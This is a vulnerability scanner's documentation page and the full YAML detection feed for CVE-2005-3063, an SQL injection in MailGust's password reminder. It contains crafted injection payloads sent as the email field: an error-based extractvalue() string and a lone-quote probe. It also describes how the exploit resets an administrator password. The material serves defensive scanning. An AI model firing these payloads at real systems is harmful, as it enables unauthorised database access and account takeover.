MailGust — 1 vulnerability check

noctis ships 1 vulnerability check for MailGust, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

MailGust password reminder SQL injection

CVECVE-2005-3063
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/mailgust/CVE-2005-3063.yaml

Tests whether a MailGust mailing list manager and message board builds the password reminder lookup query from the submitted email address without escaping it. On MailGust 1.9 and earlier running with PHP's magic_quotes_gpc setting off, an unauthenticated attacker can run arbitrary SQL through the email field and, for example, have a new administrator password mailed to themselves. In the web root and in the /mailgust, /forum, /maillist and /gust directories, the feed first checks that index.php shows the "Powered by Mailgust" footer. It then submits the password reminder form once with an email address that closes the quoted string and adds a MySQL extractvalue() expression with two random numbers; the installation is reported when the page shows the database error carrying their product, which only the database can compute. On MySQL versions without extractvalue, an address starting with a single quote must produce a SQL error or the failed query carrying a random marker, while the same address without the quote gives a reply without any SQL error. Every test address is always false or unknown, so no row is read, no reminder mail is sent and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/index.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks v97 for ^proof: → finding QoD 97: MailGust password reminder SQL injection (email, error-based)
  7. HTTP(S) request POST {{dir}}/index.php with a crafted body
  8. HTTP(S) request POST {{dir}}/index.php with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Checks v75 for ^proof: → finding QoD 75: MailGust password reminder SQL injection (email, syntax error)

References:

Feed source — tests/vulnerabilities/mailgust/CVE-2005-3063.yaml
# MailGust password reminder SQL injection — CVE-2005-3063
#
# MailGust 1.9 (and earlier), a PHP/MySQL mailing list manager + message board
# built on the "gorum" framework, looks up the password reminder address with
#   SELECT * FROM <list>_<userclass> WHERE email='$this->email'
# (gorum/user_email.php, line 363 per the advisory) without escaping it, so
# with magic_quotes_gpc off the email field of the reminder form
# (index.php?method=remind_password&list=maillistuser) is injectable without an
# account. The published exploit uses an always-true condition to mail itself a
# new administrator password — never sent here. A failed query makes gorum print
# the database error and the query text instead of running the reminder.
# No fixed release exists; the product was abandoned.
#
# Detection, per install directory ("", /mailgust, /forum, /maillist, /gust):
#   1. GET <dir>/index.php must show the ">Powered by <a href=...>Mailgust" footer.
#   2. Proof (QoD 97): reminder POST whose email is
#        <rand>'and(extractvalue(1,concat(0x7e,A*B)))and'@noctis.invalid
#      (random operands, always false — email='<rand>' matches no row, and the
#      constant extractvalue() fails before any row is read, so no reminder
#      mail is sent). The MySQL error "XPATH syntax error: '~<A*B>'" can only
#      come from the database evaluating the injected expression.
#   3. Proof (QoD 75, MySQL without extractvalue, e.g. 5.0): email
#        '<rand>@noctis.invalid
#      must give a SQL error / echoed query carrying <rand>, while the control
#      <rand>@noctis.invalid (no quote, unknown address, so no mail either)
#      gives a reply without any SQL error or query text.
#
# Better than the reference check: it matches any "SELECT.*FROM.*WHERE" text
# after a lone quote with no control, and skips the web root. This feed proves
# the injection with a database-computed value (or a quote/no-quote
# differential carrying a random marker) and also tries the web root.
#
# Ported from OpenVAS/Greenbone NVT pre2008/mailgust_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.19947, GPL-2.0-only).
uid: 4463d28b-311e-4bab-80de-dda205c3d8e3
name: "MailGust password reminder SQL injection (CVE-2005-3063)"
description: |
  Tests whether a MailGust mailing list manager and message board builds the
  password reminder lookup query from the submitted email address without
  escaping it. On MailGust 1.9 and earlier running with PHP's magic_quotes_gpc
  setting off, an unauthenticated attacker can run arbitrary SQL through the
  email field and, for example, have a new administrator password mailed to
  themselves. In the web root and in the /mailgust, /forum, /maillist and /gust
  directories, the feed first checks that index.php shows the "Powered by
  Mailgust" footer. It then submits the password reminder form once with an
  email address that closes the quoted string and adds a MySQL extractvalue()
  expression with two random numbers; the installation is reported when the
  page shows the database error carrying their product, which only the database
  can compute. On MySQL versions without extractvalue, an address starting with
  a single quote must produce a SQL error or the failed query carrying a random
  marker, while the same address without the quote gives a reply without any
  SQL error. Every test address is always false or unknown, so no row is read,
  no reminder mail is sent and nothing is written.
cves: [CVE-2005-3063]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [mailgust, php, sqli, mysql, password-reminder]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3063"
  - "http://marc.info/?l=bugtraq&m=112758146618234&w=2"
  - "http://www.securityfocus.com/bid/14933"
  - "http://secunia.com/advisories/16937/"
  - "http://securityreason.com/securityalert/21"
  # OpenVAS/Greenbone NASL pre2008/mailgust_sql_injection.nasl (GPL-2.0-only)

steps:
  # Shared random values: the address marker and the extractvalue() operands
  # (the reply must carry their product, which never appears in the request).
  - id: gen
    action: script
    store_as: rv
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      #{ u: "noctis" + rand_hex(8), a: a, b: b, prod: "" + (a * b) }

  # Loop group: every following non-loop step runs once per directory.
  # Pre-initialise each stored result so a failed request never leaves it
  # undefined or holding the previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/mailgust", "/forum", "/maillist", "/gust"]

  - id: init-xpath
    action: set_var
    var_name: xp
    var_value: {status: 0, body: ""}

  - id: init-quote
    action: set_var
    var_name: qt
    var_value: {status: 0, body: ""}

  - id: init-control
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: front-page
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: page

  - id: fingerprint
    action: script
    store_as: found
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      page.status == 200 && ereg(">\\s*Powered by\\s*<a\\s[^>]*>\\s*Mailgust", b, true)

  # Proof: extractvalue() with a computed constant inside an always-false
  # condition — no row is read, no reminder mail is sent.
  - id: remind-xpath
    action: http_request
    condition: "found == true"
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "method=remind_password&list=maillistuser&email={{rv.u}}%27and%28extractvalue%281%2Cconcat%280x7e%2C{{rv.a}}*{{rv.b}}%29%29%29and%27%40noctis.invalid&showAvatar="
    store_as: xp

  - id: judge-xpath
    action: script
    store_as: v97
    code: |
      let b = if type_of(xp.body) == "string" { xp.body } else { "" };
      if found && ereg("XPATH syntax error: ?('|&#0?39;|&#x27;|&apos;)?~" + rv.prod + "([^0-9]|$)", b, true) {
        "proof: POST " + dir + "/index.php (MailGust password reminder) with email " + rv.u + "'and(extractvalue(1,concat(0x7e," + rv.a + "*" + rv.b + ")))and'@noctis.invalid returned the MySQL error XPATH syntax error: '~" + rv.prod + "' — the database computed " + rv.a + "*" + rv.b + " from the injected email address"
      } else {
        ""
      }

  - id: report-xpath
    action: match
    source: v97
    pattern: "^proof: "
    on_match:
      finding:
        title: "MailGust password reminder SQL injection (email, error-based)"
        description: "The MailGust password reminder builds its user lookup query from the submitted email address without escaping it, so an unauthenticated attacker can run arbitrary SQL, for example to have a new administrator password mailed to an address of their choice."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{v97}}"
        remediation: "MailGust is no longer maintained and no fixed release exists: remove it, or at least enable magic_quotes_gpc on old PHP versions and restrict access to the password reminder."
      stop: true

  # Fallback proof for MySQL without extractvalue(): a leading quote must break
  # the query, while the same address without it must not.
  - id: remind-quote
    action: http_request
    condition: "found == true && v97 == \"\""
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "method=remind_password&list=maillistuser&email=%27{{rv.u}}%40noctis.invalid&showAvatar="
    store_as: qt

  - id: remind-control
    action: http_request
    condition: "found == true && v97 == \"\" && qt.status != 0"
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "method=remind_password&list=maillistuser&email={{rv.u}}%40noctis.invalid&showAvatar="
    store_as: ctl

  - id: judge-quote
    action: script
    store_as: v75
    code: |
      let qb = if type_of(qt.body) == "string" { qt.body } else { "" };
      let cb = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      let sql = "You have an error in your SQL syntax|SELECT\\s.*\\sFROM\\s.*\\sWHERE\\s";
      let broke = ereg(sql, qb, true) && ereg(rv.u, qb);
      let clean = ctl.status >= 200 && ctl.status < 500 && !ereg(sql, cb, true) && !ereg("SQL syntax|mysql_|XPATH", cb, true);
      if found && v97 == "" && broke && clean {
        "proof: POST " + dir + "/index.php (MailGust password reminder) with email '" + rv.u + "@noctis.invalid returned a SQL error carrying the injected address, while the same address without the quote gave a reply without any SQL error (HTTP " + ctl.status + ")"
      } else {
        ""
      }

  - id: report-quote
    action: match
    source: v75
    pattern: "^proof: "
    on_match:
      finding:
        title: "MailGust password reminder SQL injection (email, syntax error)"
        description: "The MailGust password reminder builds its user lookup query from the submitted email address without escaping it, so an unauthenticated attacker can run arbitrary SQL, for example to have a new administrator password mailed to an address of their choice."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{v75}}"
        remediation: "MailGust is no longer maintained and no fixed release exists: remove it, or at least enable magic_quotes_gpc on old PHP versions and restrict access to the password reminder."
      stop: true

View these feeds on GitHub